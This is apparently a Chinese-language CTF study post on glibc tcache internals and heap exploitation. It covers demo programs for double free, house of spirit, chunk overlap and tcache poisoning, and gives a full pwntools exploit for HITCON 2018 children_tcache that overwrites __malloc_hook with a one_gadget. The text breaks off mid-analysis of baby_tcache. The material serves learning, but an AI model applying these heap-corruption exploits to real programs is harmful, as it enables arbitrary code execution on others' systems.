Tcache Attack 学习

释放双眼,带上耳机,听听看~!

tcache机制

tcache全名thread local caching,它为每个线程创建一个缓存(cache),从而实现无锁的分配算法,有不错的性能提升。lib-2.26【2.23以后】正式提供了该机制,并默认开启。

tcache的数据结构

glibc在编译时使用use_tcache条件来开启tcache机制,定义了:

#if USE_TCACHE
/* We want 64 entries.  This is an arbitrary limit, which tunables can reduce.  */
# define TCACHE_MAX_BINS        64      //每个线程默认使用64个单链表结构的bins
# define MAX_TCACHE_SIZE    tidx2usize (TCACHE_MAX_BINS-1)

/* Only used to pre-fill the tunables.  */
# define tidx2usize(idx)    (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)

/* When "x" is from chunksize().  */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
/* When "x" is a user-provided size.  */
# define usize2tidx(x) csize2tidx (request2size (x))

/* With rounding and alignment, the bins are...
   idx 0   bytes 0..24 (64-bit) or 0..12 (32-bit)
   idx 1   bytes 25..40 or 13..20
   idx 2   bytes 41..56 or 21..28
   etc.  */     //64位机器以16B递增,从24B到1032B,32位机器以8B递增,从12B到512B,因此tcache bin只用于存放non-large的chunk

/* This is another arbitrary limit, which tunables can change.  Each
   tcache bin will hold at most this number of chunks.  */
# define TCACHE_FILL_COUNT 7        //每个bins最多存放7个chunk
#endif

新增了两个结构体tcache_entrytcache_pertheread_struct

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;        //每个被放入相应bins中的chunk都会在其用户数据中包含一个tcache_entry(FD指针)。指向同bins中的下一个chunk,构成单链表
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];     //数组counts用于存放每个bins中的chunk数量
  tcache_entry *entries[TCACHE_MAX_BINS];   //数组entries用于放置64个bins
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

触发在tcache中放入chunk的操作

  • free时,在fastbin操作之前进行,如果chunk size符合要求,并且对应的bins还没有装满,则将其放入

    #if USE_TCACHE
    {
    size_t tc_idx = csize2tidx (size);
    
    if (tcache
    && tc_idx < mp_.tcache_bins
    && tcache->counts[tc_idx] < mp_.tcache_count)
      {
    tcache_put (p, tc_idx);
    return;
      }
    }
    #endif
  • malloc时
    • 如果从fastbin中成功返回了一个需要的chunk,那么对应fastbin中的其他chunk会被放进相应的tcache bin中,直到上限。需要注意的是,chunks在tcache bin的顺序和在fastbin中的顺序是反过来的

      #if USE_TCACHE
          /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
          size_t tc_idx = csize2tidx (nb);
          if (tcache && tc_idx < mp_.tcache_bins)
        {
          mchunkptr tc_victim;
      
          /* While bin not empty and tcache not full, copy chunks.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count
             && (tc_victim = *fb) != NULL)
            {
              if (SINGLE_THREAD_P)
            *fb = tc_victim->fd;
              else
            {
              REMOVE_FB (fb, pp, tc_victim);
              if (__glibc_unlikely (tc_victim == NULL))
                break;
            }
              tcache_put (tc_victim, tc_idx);
            }
        }
      #endif
    • smallbin中的情况与fastbin相似,双链表中剩余的chunk会被填充到tcache bin中,直到上限。

      #if USE_TCACHE
      /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
      size_t tc_idx = csize2tidx (nb);
      if (tcache && tc_idx < mp_.tcache_bins)
        {
          mchunkptr tc_victim;
      
          /* While bin not empty and tcache not full, copy chunks over.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count
             && (tc_victim = last (bin)) != bin)
        {
          if (tc_victim != 0)
            {
              bck = tc_victim->bk;
              set_inuse_bit_at_offset (tc_victim, nb);
              if (av != &main_arena)
            set_non_main_arena (tc_victim);
              bin->bk = bck;
              bck->fd = bin;
      
              tcache_put (tc_victim, tc_idx);
                }
        }
        }
      #endif
    • binning code(chunk合并等其他情况)中,每个符合要求的chunk都会优先被放入tcache,而不是直接返回(除非tcache被装满)。寻找结束后,tcache会返回其中一个。
      #if USE_TCACHE
          /* Fill cache first, return to user only if cache fills.
         We may return one of these chunks later.  */
          if (tcache_nb
          && tcache->counts[tc_idx] < mp_.tcache_count)
        {
          tcache_put (victim, tc_idx);
          return_cached = 1;
          continue;
        }
          else
        {
      #endif

      ## 触发从tcache中取出chunk的操作

  • __libc_malloc()调用_int_malloc()之前,如果tcache bin中有符合要求的chunk,则直接将他返回

    #if USE_TCACHE
    /* int_free also calls request2size, be careful to not pad twice.  */
    size_t tbytes;
    checked_request2size (bytes, tbytes);
    size_t tc_idx = csize2tidx (tbytes);
    
    MAYBE_INIT_TCACHE ();
    
    DIAG_PUSH_NEEDS_COMMENT;
    if (tc_idx < mp_.tcache_bins
        /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
        && tcache
        && tcache->entries[tc_idx] != NULL)
      {
        return tcache_get (tc_idx);
      }
    DIAG_POP_NEEDS_COMMENT;
    #endif
  • bining code 中,如果在 tcache 中放入 chunk 达到上限,则会直接返回最后一个chunk
    #if USE_TCACHE
      /* If we've processed as many chunks as we're allowed while
     filling the cache, return one of the cached ones.  */
      ++tcache_unsorted_count;
      if (return_cached
      && mp_.tcache_unsorted_limit > 0
      && tcache_unsorted_count > mp_.tcache_unsorted_limit)
    {
      return tcache_get (tc_idx);
    }
    #endif

    当然默认情况下没有限制,所以这段代码也不会执行:

    .tcache_unsorted_limit = 0 /* No limit.  */
  • binning code 结束后,如果没有直接返回(如上),那么如果有至少一个符合要求的 chunk 被找到,则返回最后一个。
    #if USE_TCACHE
        /* If all the small chunks we found ended up cached, return one now.  */
        if (return_cached)
    {
      return tcache_get (tc_idx);
    }
    #endif

tcache 中的 chunk 不会被合并,无论是相邻 chunk,还是 chunk 和 top chunk。因为这些 chunk 会被标记为 inuse。

tcache的安全性

上面提到的放入chunktcache_put()和取出chunktcache_get()

/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);        //只检查了tc_idx
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

对tcache的操作在free和malloc中往往都处于很靠前的位置,导致原来的许多有效性检查都被无视了。所以存在安全隐患。

tcache_dup

#include <stdlib.h>
#include <stdio.h>

int main() {
    void *p1 = malloc(0x10);
    fprintf(stderr, "1st malloc(0x10): %p\n", p1);
    fprintf(stderr, "Freeing the first one\n");
    free(p1);
    fprintf(stderr, "Freeing the first one again\n");
    free(p1);
    fprintf(stderr, "2nd malloc(0x10): %p\n", malloc(0x10));
    fprintf(stderr, "3rd malloc(0x10): %p\n", malloc(0x10));
}

运行结果:

1st malloc(0x10): 0x5561ddcc4260
Freeing the first one
Freeing the first one again     //double free惹
2nd malloc(0x10): 0x5561ddcc4260
3rd malloc(0x10): 0x5561ddcc4260

gdb调试:
第一次malloc后

pwndbg> x/10gx 0x555555756250
0x555555756250: 0x0000000000000000  0x0000000000000021
0x555555756260: 0x0000000000000000  0x0000000000000000
0x555555756270: 0x0000000000000000  0x0000000000020d91
0x555555756280: 0x0000000000000000  0x0000000000000000
0x555555756290: 0x0000000000000000  0x0000000000000000

第一次free后

pwndbg> x/10gx 0x555555756250
0x555555756250: 0x0000000000000000  0x0000000000000021
0x555555756260: 0x0000000000000000  0x0000000000000000
0x555555756270: 0x0000000000000000  0x0000000000020d91
0x555555756280: 0x0000000000000000  0x0000000000000000
0x555555756290: 0x0000000000000000  0x0000000000000000

pwndbg> vmmap heap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555555756000     0x555555777000 rw-p    21000 0      [heap]

pwndbg> x/16gx 0x555555756000
0x555555756000: 0x0000000000000000  0x0000000000000251
0x555555756010: 0x0000000000000001  0x0000000000000000      ==> counts = 1  //一开始是什么都没有的
0x555555756020: 0x0000000000000000  0x0000000000000000
0x555555756030: 0x0000000000000000  0x0000000000000000
0x555555756040: 0x0000000000000000  0x0000000000000000
0x555555756050: 0x0000555555756260  0x0000000000000000      ==> entries
0x555555756060: 0x0000000000000000  0x0000000000000000
0x555555756070: 0x0000000000000000  0x0000000000000000

第二次free后

pwndbg> x/10gx 0x555555756250
0x555555756250: 0x0000000000000000  0x0000000000000021
0x555555756260: 0x0000555555756260  0x0000000000000000      ==>double freed
0x555555756270: 0x0000000000000000  0x0000000000020d91
0x555555756280: 0x0000000000000000  0x0000000000000000
0x555555756290: 0x0000000000000000  0x0000000000000000

pwndbg> x/16gx 0x555555756000
0x555555756000: 0x0000000000000000  0x0000000000000251
0x555555756010: 0x0000000000000002  0x0000000000000000      ==> counts = 2
0x555555756020: 0x0000000000000000  0x0000000000000000
0x555555756030: 0x0000000000000000  0x0000000000000000
0x555555756040: 0x0000000000000000  0x0000000000000000
0x555555756050: 0x0000555555756260  0x0000000000000000
0x555555756060: 0x0000000000000000  0x0000000000000000
0x555555756070: 0x0000000000000000  0x0000000000000000

再一次malloc后

pwndbg> x/10gx 0x555555756250
0x555555756250: 0x0000000000000000  0x0000000000000021
0x555555756260: 0x0000555555756260  0x0000000000000000
0x555555756270: 0x0000000000000000  0x0000000000020d91
0x555555756280: 0x0000000000000000  0x0000000000000000
0x555555756290: 0x0000000000000000  0x0000000000000000

pwndbg> x/16gx 0x555555756000
0x555555756000: 0x0000000000000000  0x0000000000000251
0x555555756010: 0x0000000000000001  0x0000000000000000      ==> counts = 1
0x555555756020: 0x0000000000000000  0x0000000000000000
0x555555756030: 0x0000000000000000  0x0000000000000000
0x555555756040: 0x0000000000000000  0x0000000000000000
0x555555756050: 0x0000555555756260  0x0000000000000000
0x555555756060: 0x0000000000000000  0x0000000000000000
0x555555756070: 0x0000000000000000  0x0000000000000000

最后malloc后

pwndbg> x/10gx 0x555555756250
0x555555756250: 0x0000000000000000  0x0000000000000021
0x555555756260: 0x0000555555756260  0x0000000000000000
0x555555756270: 0x0000000000000000  0x0000000000020d91
0x555555756280: 0x0000000000000000  0x0000000000000000
0x555555756290: 0x0000000000000000  0x0000000000000000

pwndbg> x/16gx 0x555555756000
0x555555756000: 0x0000000000000000  0x0000000000000251
0x555555756010: 0x0000000000000000  0x0000000000000000      ==> counts = 0
0x555555756020: 0x0000000000000000  0x0000000000000000
0x555555756030: 0x0000000000000000  0x0000000000000000
0x555555756040: 0x0000000000000000  0x0000000000000000
0x555555756050: 0x0000555555756260  0x0000000000000000
0x555555756060: 0x0000000000000000  0x0000000000000000
0x555555756070: 0x0000000000000000  0x0000000000000000

house of spirit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    malloc(1);  // init heap

    fprintf(stderr, "We will overwrite a pointer to point to a fake 'smallbin' region.\n");
    unsigned long long *a, *b;
    unsigned long long fake_chunk[64] __attribute__ ((aligned (16)));

    fprintf(stderr, "The chunk:  %p\n", &fake_chunk[0]);

    fake_chunk[1] = 0x110;  // the size
    memset(fake_chunk+2, 0x41, sizeof(fake_chunk)-0x10);

    fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake chunk, %p.\n", &fake_chunk[0]);
    a = &fake_chunk[2];

    fprintf(stderr, "Freeing the overwritten pointer.\n");
    free(a);

    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunk[0], &fake_chunk[2]);
    b = malloc(0x100);
    memset(fake_chunk+2, 0x42, sizeof(fake_chunk)-0x10);
    fprintf(stderr, "malloc(0x100): %p\n", b);
}

运行之后:

We will overwrite a pointer to point to a fake 'smallbin' region.
The chunk:  0x7ffc4c03f800
Overwritting our pointer with the address of the fake region inside the fake chunk, 0x7ffc4c03f800.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7ffc4c03f800, which will be 0x7ffc4c03f810!
malloc(0x100): 0x7ffc4c03f810

gdb调试:
第一次malloc后:

pwndbg> x/10gx 0x555555756250
0x555555756250: 0x0000000000000000  0x0000000000000021
0x555555756260: 0x0000000000000000  0x0000000000000000
0x555555756270: 0x0000000000000000  0x0000000000020d91
0x555555756280: 0x0000000000000000  0x0000000000000000
0x555555756290: 0x0000000000000000  0x0000000000000000
pwndbg> x/10gx fake_chunk
0x7fffffffdca0: 0x0000000000000001  0x00007ffff7ffe728
0x7fffffffdcb0: 0x00007ffff7ffe100  0x0000000000000001
0x7fffffffdcc0: 0x00007ffff7fe04c0  0x00007ffff7ddff5f
0x7fffffffdcd0: 0x00007ffff7ffe710  0x0000000000000000
0x7fffffffdce0: 0x0000000000000000  0x00007ffff7ffa298

pwndbg> x/10gx fake_chunk
0x7fffffffdca0: 0x0000000000000001  0x0000000000000110      ==> 伪造的fake chunk size
0x7fffffffdcb0: 0x00007ffff7ffe100  0x0000000000000001
0x7fffffffdcc0: 0x00007ffff7fe04c0  0x00007ffff7ddff5f
0x7fffffffdcd0: 0x00007ffff7ffe710  0x0000000000000000
0x7fffffffdce0: 0x0000000000000000  0x00007ffff7ffa298

memset将fake_chunk+2后的内存填充为0x41

pwndbg> x/10gx fake_chunk
0x7fffffffdca0: 0x0000000000000001  0x0000000000000110
0x7fffffffdcb0: 0x4141414141414141  0x4141414141414141
0x7fffffffdcc0: 0x4141414141414141  0x4141414141414141
0x7fffffffdcd0: 0x4141414141414141  0x4141414141414141
0x7fffffffdce0: 0x4141414141414141  0x4141414141414141

free后

pwndbg> x/10gx fake_chunk
0x7fffffffdca0: 0x0000000000000001  0x0000000000000110      ==> be freed
0x7fffffffdcb0: 0x0000000000000000  0x4141414141414141
0x7fffffffdcc0: 0x4141414141414141  0x4141414141414141
0x7fffffffdcd0: 0x4141414141414141  0x4141414141414141
0x7fffffffdce0: 0x4141414141414141  0x4141414141414141

pwndbg> vmmap heap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555555756000     0x555555777000 rw-p    21000 0      [heap]

pwndbg> x/30gx 0x555555756000
0x555555756000: 0x0000000000000000  0x0000000000000251
0x555555756010: 0x0000000000000000  0x0100000000000000      ==> counts
0x555555756020: 0x0000000000000000  0x0000000000000000
0x555555756030: 0x0000000000000000  0x0000000000000000
0x555555756040: 0x0000000000000000  0x0000000000000000
0x555555756050: 0x0000000000000000  0x0000000000000000
0x555555756060: 0x0000000000000000  0x0000000000000000
0x555555756070: 0x0000000000000000  0x0000000000000000
0x555555756080: 0x0000000000000000  0x0000000000000000
0x555555756090: 0x0000000000000000  0x0000000000000000
0x5555557560a0: 0x0000000000000000  0x0000000000000000
0x5555557560b0: 0x0000000000000000  0x0000000000000000
0x5555557560c0: 0x0000000000000000  0x00007fffffffdcb0      ==> entries
0x5555557560d0: 0x0000000000000000  0x0000000000000000
0x5555557560e0: 0x0000000000000000  0x0000000000000000

再malloc(0x100)

pwndbg> p a
$1 = (unsigned long long *) 0x7fffffffdcb0
pwndbg> p b
$2 = (unsigned long long *) 0x7fffffffdcb0      //由于a的size被改,此位置被分配给b
pwndbg> x/10gx fake_chunk
0x7fffffffdca0: 0x0000000000000001  0x0000000000000110
0x7fffffffdcb0: 0x4242424242424242  0x4242424242424242      ==> b
0x7fffffffdcc0: 0x4242424242424242  0x4242424242424242
0x7fffffffdcd0: 0x4242424242424242  0x4242424242424242
0x7fffffffdce0: 0x4242424242424242  0x4242424242424242

tcache_overlapping_chunks

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

int main() {
    intptr_t *p1, *p2, *p3;

    p1 = malloc(0x50 - 8);
    p2 = malloc(0x20 - 8);
    memset(p1, 0x41, 0x50-8);
    memset(p2, 0x41, 0x30-8);
    fprintf(stderr, "Allocated victim chunk with requested size 0x48: %p\n", p1);
    fprintf(stderr, "Allocated sentry element after victim: %p\n", p2);

    int evil_chunk_size = 0x110;
    int evil_region_size = 0x110 - 8;
    fprintf(stderr, "Emulating corruption of the victim's size to 0x110\n");
    *(p1-1) = evil_chunk_size;
    fprintf(stderr, "Freed victim chunk to put it in a different tcache bin\n");
    free(p1);

    p3 = malloc(evil_region_size);
    memset(p3, 0x42, evil_region_size);
    fprintf(stderr, "Requested a chunk of 0x100 bytes\n");
    fprintf(stderr, "p3: %p ~ %p\n", p3, (char *)p3+evil_region_size);
    fprintf(stderr, "p2: %p ~ %p\n", p2, (char *)p2+0x20-8);
}

运行结果:

Allocated victim chunk with requested size 0x48: 0x555555756260
Allocated sentry element after victim: 0x5555557562b0
Emulating corruption of the victim's size to 0x110
Freed victim chunk to put it in a different tcache bin
Requested a chunk of 0x100 bytes
p3: 0x555555756260 ~ 0x555555756368
p2: 0x5555557562b0 ~ 0x5555557562c8

gdb调试:
申请两个chunk

pwndbg> x/16gx 0x555555756250
0x555555756250: 0x0000000000000000  0x0000000000000051      ==> p1
0x555555756260: 0x4141414141414141  0x4141414141414141
0x555555756270: 0x4141414141414141  0x4141414141414141
0x555555756280: 0x4141414141414141  0x4141414141414141
0x555555756290: 0x4141414141414141  0x4141414141414141
0x5555557562a0: 0x4141414141414141  0x0000000000000021      ==> p2
0x5555557562b0: 0x4141414141414141  0x4141414141414141
0x5555557562c0: 0x4141414141414141  0x4141414141414141

第一个chunk的size被修改并free

pwndbg> x/16gx 0x555555756250
0x555555756250: 0x0000000000000000  0x0000000000000110      ==> 修改chunk的size
0x555555756260: 0x0000000000000000  0x4141414141414141      ==> be freed
0x555555756270: 0x4141414141414141  0x4141414141414141
0x555555756280: 0x4141414141414141  0x4141414141414141
0x555555756290: 0x4141414141414141  0x4141414141414141
0x5555557562a0: 0x4141414141414141  0x0000000000000021
0x5555557562b0: 0x4141414141414141  0x4141414141414141
0x5555557562c0: 0x4141414141414141  0x4141414141414141

pwndbg> x/30gx 0x555555756000 
0x555555756000: 0x0000000000000000  0x0000000000000251
0x555555756010: 0x0000000000000000  0x0100000000000000      ==> counts
0x555555756020: 0x0000000000000000  0x0000000000000000
0x555555756030: 0x0000000000000000  0x0000000000000000
0x555555756040: 0x0000000000000000  0x0000000000000000
0x555555756050: 0x0000000000000000  0x0000000000000000
0x555555756060: 0x0000000000000000  0x0000000000000000
0x555555756070: 0x0000000000000000  0x0000000000000000
0x555555756080: 0x0000000000000000  0x0000000000000000
0x555555756090: 0x0000000000000000  0x0000000000000000
0x5555557560a0: 0x0000000000000000  0x0000000000000000
0x5555557560b0: 0x0000000000000000  0x0000000000000000
0x5555557560c0: 0x0000000000000000  0x0000555555756260      ==> entries
0x5555557560d0: 0x0000000000000000  0x0000000000000000
0x5555557560e0: 0x0000000000000000  0x0000000000000000

申请0x110-8大小的p3

pwndbg> x/12gx 0x0000555555756250
0x555555756250: 0x0000000000000000  0x0000000000000110      ==> p3 (原来p1的位置,且将后面的p2覆盖)
0x555555756260: 0x4242424242424242  0x4242424242424242
0x555555756270: 0x4242424242424242  0x4242424242424242
0x555555756280: 0x4242424242424242  0x4242424242424242
0x555555756290: 0x4242424242424242  0x4242424242424242
0x5555557562a0: 0x4242424242424242  0x4242424242424242      ==> p2

造成了堆块重叠

tcache_poisoning

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

int main() {
    intptr_t *p1, *p2, *p3;
    size_t target[10];
    printf("Our target is a stack region at %p\n", (void *)target);

    p1 = malloc(0x30);
    memset(p1, 0x41, 0x30+8);
    fprintf(stderr, "Allocated victim chunk with requested size 0x30 at %p\n", p1);

    fprintf(stderr, "Freed victim chunk to put it in a tcache bin\n");
    free(p1);
    fprintf(stderr, "Emulating corruption of the next ptr\n");
    *p1 = (int64_t)target;

    fprintf(stderr, "Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target\n");
    p2 = malloc(0x30);
    memset(p2, 0x42, 0x30+8);
    p3 = malloc(0x30);
    memset(p3, 0x42, 0x30+8);
    fprintf(stderr, "The first malloc(0x30) returned %p, the second one: %p\n", p2, p3);
}

运行结果:

Our target is a stack region at 0x7ffdb6b5b510
Allocated victim chunk with requested size 0x30 at 0x561fe4ccb670
Freed victim chunk to put it in a tcache bin
Emulating corruption of the next ptr
Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target
The first malloc(0x30) returned 0x561fe4ccb670, the second one: 0x7ffdb6b5b510

gdb调试:

创建一个chunk p1

pwndbg> x/10gx 0x555555756660
0x555555756660: 0x0000000000000000  0x0000000000000041
0x555555756670: 0x4141414141414141  0x4141414141414141
0x555555756680: 0x4141414141414141  0x4141414141414141
0x555555756690: 0x4141414141414141  0x4141414141414141
0x5555557566a0: 0x4141414141414141  0x0000000000020961

free后:

pwndbg> x/10gx 0x555555756660
0x555555756660: 0x0000000000000000  0x0000000000000041
0x555555756670: 0x0000000000000000  0x4141414141414141      ==> fd被删除 / **
0x555555756680: 0x4141414141414141  0x4141414141414141
0x555555756690: 0x4141414141414141  0x4141414141414141
0x5555557566a0: 0x4141414141414141  0x0000000000020961

pwndbg> vmmap heap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555555756000     0x555555777000 rw-p    21000 0      [heap]

pwndbg> x/16gx 0x555555756000
0x555555756000: 0x0000000000000000  0x0000000000000251
0x555555756010: 0x0000000000010000  0x0000000000000000      ==> counts
0x555555756020: 0x0000000000000000  0x0000000000000000
0x555555756030: 0x0000000000000000  0x0000000000000000
0x555555756040: 0x0000000000000000  0x0000000000000000
0x555555756050: 0x0000000000000000  0x0000000000000000
0x555555756060: 0x0000555555756670  0x0000000000000000      ==> entries
0x555555756070: 0x0000000000000000  0x0000000000000000

将fd指针修改为target

pwndbg> x/10gx 0x555555756660
0x555555756660: 0x0000000000000000  0x0000000000000041
0x555555756670: 0x00007fffffffde40  0x4141414141414141    ==> fd被修改为target addr
0x555555756680: 0x4141414141414141  0x4141414141414141
0x555555756690: 0x4141414141414141  0x4141414141414141
0x5555557566a0: 0x4141414141414141  0x0000000000020961

申请p2

pwndbg> x/10gx 0x555555756660
0x555555756660: 0x0000000000000000  0x0000000000000041
0x555555756670: 0x4242424242424242  0x4242424242424242
0x555555756680: 0x4242424242424242  0x4242424242424242
0x555555756690: 0x4242424242424242  0x4242424242424242
0x5555557566a0: 0x4242424242424242  0x0000000000020961

pwndbg> x/16gx 0x555555756000
0x555555756000: 0x0000000000000000  0x0000000000000251
0x555555756010: 0x0000000000000000  0x0000000000000000    ==> counts = 0
0x555555756020: 0x0000000000000000  0x0000000000000000
0x555555756030: 0x0000000000000000  0x0000000000000000
0x555555756040: 0x0000000000000000  0x0000000000000000
0x555555756050: 0x0000000000000000  0x0000000000000000
0x555555756060: 0x00007fffffffde40  0x0000000000000000    ==> entries被修改为我们写的fd,指向栈上的target
0x555555756070: 0x0000000000000000  0x0000000000000000

申请p3

//此时的counts虽然为0,但是`tcache_get`并没有做检查,而是直接从entries处返回了一个chunk
pwndbg> x/16gx 0x555555756000
0x555555756000: 0x0000000000000000  0x0000000000000251
0x555555756010: 0x0000000000ff0000  0x0000000000000000    ==> counts = 0-1 = 0xff 【产生了整数溢出】可被unsorted bin attack 利用
0x555555756020: 0x0000000000000000  0x0000000000000000
0x555555756030: 0x0000000000000000  0x0000000000000000
0x555555756040: 0x0000000000000000  0x0000000000000000
0x555555756050: 0x0000000000000000  0x0000000000000000
0x555555756060: 0x0000000000000009  0x0000000000000000
0x555555756070: 0x0000000000000000  0x0000000000000000

pwndbg> x/10gx &p3
0x7fffffffde38: 0x00007fffffffde40  0x4242424242424242    ==> 直接写入了target处--|
0x7fffffffde48: 0x4242424242424242  0x4242424242424242                           |
0x7fffffffde58: 0x4242424242424242  0x4242424242424242                           |
0x7fffffffde68: 0x4242424242424242  0x4242424242424242                           |
0x7fffffffde78: 0x0000000000000000  0x00005555555549d0                           |
                                                                                     |
pwndbg> x/10gx 0x7fffffffde40                                                        |
0x7fffffffde40: 0x4242424242424242  0x4242424242424242   <-----------------------|我们得到了一个在栈上的chunk
0x7fffffffde50: 0x4242424242424242  0x4242424242424242
0x7fffffffde60: 0x4242424242424242  0x4242424242424242
0x7fffffffde70: 0x4242424242424242  0x0000000000000000
0x7fffffffde80: 0x00005555555549d0  0x0000555555554750

被unsorted bin attack 利用

事实上,即使知道了这些tcache可能造成的问题,在遇到题目的时候还是不知道如何将多种attack结合起来利用
那么练题吧…

例题

HITCON2018 child_tcache

分析

保护全开
菜单

$   1. New heap           $
$   2. Show heap          $
$   3. Delete heap        $ 
$   4. Exit               $

new heap中

strcpy把含有’\0’结束符的字符串复制到另一个地址空间

所以存在漏洞NULL byte off-by-one

  1. 通过unsorted bin的fd bk指针泄露libc:tcache的范围是 [0x20, 0x400),超过这个大小的就会放入unsorted bin,unsorted bin中只有一个chunk时的fd bk指向main_arena附近的地址。被free后,data会被覆盖为0xda,
    pwndbg> x/200gx 0x555555757250
    0x555555757250: 0x0000000000000000  0x0000000000000511
    0x555555757260: 0x00007ffff7dcfca0  0x00007ffff7dcfca0
    0x555555757270: 0x0000000000000000  0x0000000000000000
    0x555555757280: 0xdadadadadadadada  0xdadadadadadadada
    0x555555757290: 0xdadadadadadadada  0xdadadadadadadada
                        ··················
    0x555555757740: 0xdadadadadadadada  0xdadadadadadadada
    0x555555757750: 0xdadadadadadadada  0xdadadadadadadada
    0x555555757760: 0x0000000000000510  0x0000000000000030
    0x555555757770: 0x0000000000000000  0xdadadadadadadada
    0x555555757780: 0xdadadadadadadada  0xdadadadadadadada
    0x555555757790: 0x0000000000000000  0x0000000000000500
    0x5555557577a0: 0x000000000000326b  0x0000000000000000
    0x5555557577b0: 0x0000000000000000  0x0000000000000000
  2. tcache分配chunk时直接通过fd分配,不会对size检查,所以没有必要进行构造fake_fast_size。我们可以直接通过修改fd,将chunk分配到malloc_hookfree_hook附近的地址,然后将malloc_hookfree_hook改为one_gadget,再次malloc或者free时就会调用其上的one_gadget

exp

#!usr/bin/python
from pwn import *
# context.log_level = 'debug'

binary = "./children_tcache"
ip = ""
port = 0
elf = ELF(binary)
def menu(choice):
    io.sendlineafter("choice: ", str(choice))

def new(size, data):
    menu(1)
    io.sendlineafter("Size:", str(size))
    io.sendafter("Data:", data)

def show(index):
    menu(2)
    io.sendlineafter("Index:", str(index))

def delete(index):
    menu(3)
    io.sendlineafter("Index:", str(index))

def pwn(ip, port, debug):
    global io
    if debug == 1:
        io = process(binary)
        libc = ELF("./libc.so.6")   
    else:
        io = remote(ip, port)
        libc = 0

    new(0x500, "k0")    # 0
    new(0x28, "k1")     # 1
    new(0x4f0, "k2")    # 2
    new(0x20, "k3")     # 3
    delete(1)
    delete(0)

    for i in range(0, 9):
        new(0x28-i, 'A'*(0x28-i))       # 0
        delete(0)
    # gdb.attach(io)
    new(0x28, 'B'*0x20+p64(0x540))      # 0 
    delete(2)

    new(0x500, 'A')     # 1
    show(0)
    libc_base = u64(io.recv(6).ljust(8, '\x00'))-0x60-0x3ebc40
    print "libc_base = " +hex(libc_base)
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
    one_gadget = libc_base + one_gadget[1]
    print "one_gadget = " +hex(one_gadget)

    new(0x28, 'B')      # 2
    delete(2)
    delete(0)
    new(0x28, p64(malloc_hook))
    new(0x28, p64(malloc_hook))
    new(0x28, p64(one_gadget))
    menu(1)

    io.interactive()
if __name__ == '__main__':
    pwn(ip, port, 1)

最后再次调用malloc的时候坑了我…我直接new,会进入one_gadget,当然recv不到”Data:”…我就那么调试好久不知道错在哪了…只选择一下new就行了。

做题的时候还看到别人写了一个工具找偏移的main_arena,他的脚本还需要再改一下才能同时打印出__malloc_hook_offset,其实可以直接elf.symbols直接找,不过都行 都行 d=====( ̄▽ ̄*)b

HITCON2018 baby_tcache

分析

保护全开
菜单

$   1. New heap           $
$   2. Delete heap        $ 
$   3. Exit               $

new heap中存在漏洞NULL byte off-by-one

  1. 由于本身没有带show函数,所以泄露比较困难,程序中有调用puts,我们考虑调用puts进行泄露。
    puts(_IO_new_file_overflow -> _IO_do_write)会将缓冲区中的数据打印出来(_IO_write_base ~ _IO_write_ptr
    调用puts会调用:
    int
    _IO_new_file_overflow (_IO_FILE *f, int ch)
    {
    if (f->_flags & _IO_NO_WRITES) 
     {
       f->_flags |= _IO_ERR_SEEN;
       __set_errno (EBADF);
       return EOF;
     }
    /* If currently reading or no buffer allocated. */
    if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) 
     {
       :
       :
     }
    if (ch == EOF)
     return _IO_do_write (f, f->_IO_write_base,  // 需要调用的目标,如果使得 _IO_write_base < _IO_write_ptr,且 _IO_write_base 处
                                                 // 存在有价值的地址 (libc 地址)则可进行泄露
                                                 // 在正常情况下,_IO_write_base == _IO_write_ptr 且位于 libc 中,所以可进行部分写
              f->_IO_write_ptr - f->_IO_write_base);

    需要满足f->_flags & _IO_NO_WRITES = 0f->_flags & _IO_CURRENTLY_PUTTING != 0

    static
    _IO_size_t
    new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
    {
    _IO_size_t count;
    if (fp->_flags & _IO_IS_APPENDING)  /* 需要满足 */
     /* On a system without a proper O_APPEND implementation,
